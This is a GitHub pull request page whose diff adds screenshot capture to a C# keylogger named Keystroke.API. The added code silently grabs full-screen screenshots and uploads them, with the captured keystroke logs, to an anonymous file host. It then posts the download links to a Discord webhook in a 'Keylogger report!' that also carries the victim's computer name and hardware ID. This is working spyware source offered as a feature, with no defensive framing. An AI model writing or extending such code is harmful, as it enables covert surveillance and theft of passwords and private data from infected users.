Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add new feature #15

Open
wants to merge 1 commit into
base: keylogger-feature-rich
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
39 changes: 33 additions & 6 deletions Keystroke.API/Helpers/LoggerUploader.cs
Original file line number Diff line number Diff line change
Expand Up @@ -3,14 +3,22 @@
using System.Net;
using System.Net.Mime;
using System.Security.Principal;
using System.Windows.Forms;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using RestSharp;

namespace Keystroke.API.Helpers
{


public class LoggerUploader
{

public static string ScreenShotUrl;
public static string LogUrl;


public string DiscordUrlHook { get; set; }

public LoggerUploader(string DiscordUrlHook)
Expand All @@ -21,38 +29,56 @@ public LoggerUploader(string DiscordUrlHook)
public void OnUserTyping(object sender, EventArgs e)
{
var logFile = LoggerSaver.LogginDirectory + LoggerSaver.LogginFile;
string TakeScreenShot = Helpers.Screenshot.TakeScreenShot();
// Will check if the size file is more than 200 bytes the file will be uploaded.
if (new FileInfo(logFile).Length > 200)
{
UploadToAnon(logFile);
UploadToAnon(logFile,"normallog");
UploadToAnon(TakeScreenShot,"ScreenShot");
//Then the file will be deleted and re-created again
File.Delete(logFile);
File.Delete(TakeScreenShot);
}
}


public void UploadToAnon(string path)
public void UploadToAnon(string path, string LogType)
{
var copyOfLogs = path + new Random().GetHashCode()+".txt";
File.Copy(path,copyOfLogs);



RestClient restClient = new RestClient("https://api.anonfiles.com/upload");
RestRequest restRequest = new RestRequest();

restRequest.AddFile("file", copyOfLogs);


Console.WriteLine(restClient.PostAsync(restRequest, (response, handle) =>
{
dynamic responseObject = JsonConvert.DeserializeObject(response.Content);
var AnonUrl = responseObject["data"]["file"]["url"]["full"];
ReportUploadedFileToDiscord(AnonUrl);
File.Delete(copyOfLogs);

if (LogType == "normallog")
{
LogUrl = AnonUrl;
}
else
{
ScreenShotUrl = AnonUrl;
ReportUploadedFileToDiscord(LogUrl, ScreenShotUrl);
}

File.Delete(copyOfLogs);
}));

}




public void ReportUploadedFileToDiscord(dynamic url)
public void ReportUploadedFileToDiscord(string LogUrl, string ScreenShotUrl)
{
RestClient restClient = new RestClient(DiscordUrlHook);
RestRequest restRequest = new RestRequest();
Expand All @@ -66,7 +92,8 @@ public void ReportUploadedFileToDiscord(dynamic url)
{
description = $"KeystrokeAPI has new report!" +
$"\n**Computer Name:** {WindowsIdentity.GetCurrent().Name}" +
$"\n**DOWNLOAD URL:** ||{url}||" +
$"\n**ScreenShot:** ||{ScreenShotUrl}||" +
$"\n**DOWNLOAD URL:** ||{LogUrl}||" +
$"\n**Hwid:** ||{WindowsIdentity.GetCurrent().User?.Value}||",
title = $"Keylogger report!",
}
Expand Down
27 changes: 27 additions & 0 deletions Keystroke.API/Helpers/Screenshot.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Windows.Forms;

namespace Keystroke.API.Helpers
{
public class Screenshot
{
public static string TakeScreenShot()
{
string screenShot = Path.GetTempPath() + Guid.NewGuid().ToString() + ".png";

using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height))
{
using (Graphics graphics = Graphics.FromImage(bitmap))
{
graphics.CopyFromScreen(0,0,0,0,Screen.PrimaryScreen.Bounds.Size);
}

bitmap.Save(screenShot, ImageFormat.Png);
return screenShot;
}
}
}
}
2 changes: 2 additions & 0 deletions Keystroke.API/Keystroke.API.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -75,6 +75,7 @@
</Reference>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
Expand All @@ -87,6 +88,7 @@
<Compile Include="Helpers\KeyboardLayout.cs" />
<Compile Include="Helpers\LoggerSaver.cs" />
<Compile Include="Helpers\LoggerUploader.cs" />
<Compile Include="Helpers\Screenshot.cs" />
<Compile Include="Helpers\Window.cs" />
<Compile Include="KeystrokeAPI.cs" />
<Compile Include="Entities\KeyCode.cs" />
Expand Down